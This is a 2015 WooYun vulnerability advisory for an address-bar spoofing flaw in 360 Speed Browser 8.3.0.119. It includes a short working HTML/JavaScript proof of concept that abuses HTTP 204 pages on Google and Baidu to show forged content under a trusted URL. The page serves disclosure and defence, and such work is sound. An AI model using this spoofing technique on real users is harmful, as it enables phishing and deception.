当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0128653

漏洞标题：360极速浏览器8.3.0.119 HTTP204/205地址栏处理不当可伪造百度/谷歌等

相关厂商：奇虎360

漏洞作者： blast

提交时间：2015-07-23 15:26

修复时间：2015-10-22 10:08

公开时间：2015-10-22 10:08

漏洞类型：设计错误/逻辑缺陷

危害等级：中

自评Rank：7

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-07-23： 细节已通知厂商并且等待厂商处理中
2015-07-24： 厂商已经确认，细节仅向厂商公开
2015-07-27： 细节向第三方安全合作伙伴开放
2015-09-17： 细节向核心白帽子及相关领域专家公开
2015-09-27： 细节向普通白帽子公开
2015-10-07： 细节向实习白帽子公开
2015-10-22： 细节向公众公开

简要描述：

360极速浏览器8.3.0.119 HTTP204/205地址栏处理不当可伪造百度/谷歌等
附赠两个HTTP204，一个百度一个谷歌

详细说明：

<meta name="renderer" content="ie-comp">


可以强制页面运行在ie模式下，示例演示从127.0.0.4/h.htm创建一个窗口，窗口的内容可被h.htm修改。

<html>
<head>
<meta name="renderer" content="ie-comp">
</head>
<body>
<title>hello</title>
</body>
<script>
window.open("javascript:document.write('15')","v");
window.open("http://www.google.cn/csi","v");
//window.open("http://c.baidu.com/","v")
var hh = window.open("","v"); //get a reference of window v
hh.document.open();
hh.document.write("<title>google</title>123");
hh.document.close();
</script>
</html>

漏洞证明：

fake.png

fake2.png

修复方案：

处理好HTTP204/205时URL栏的逻辑

版权声明：转载请注明来源 blast@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：3

确认时间：2015-07-24 10:07

厂商回复：

非常感谢白帽子的反馈，我们已经着手修复。

最新状态：

暂无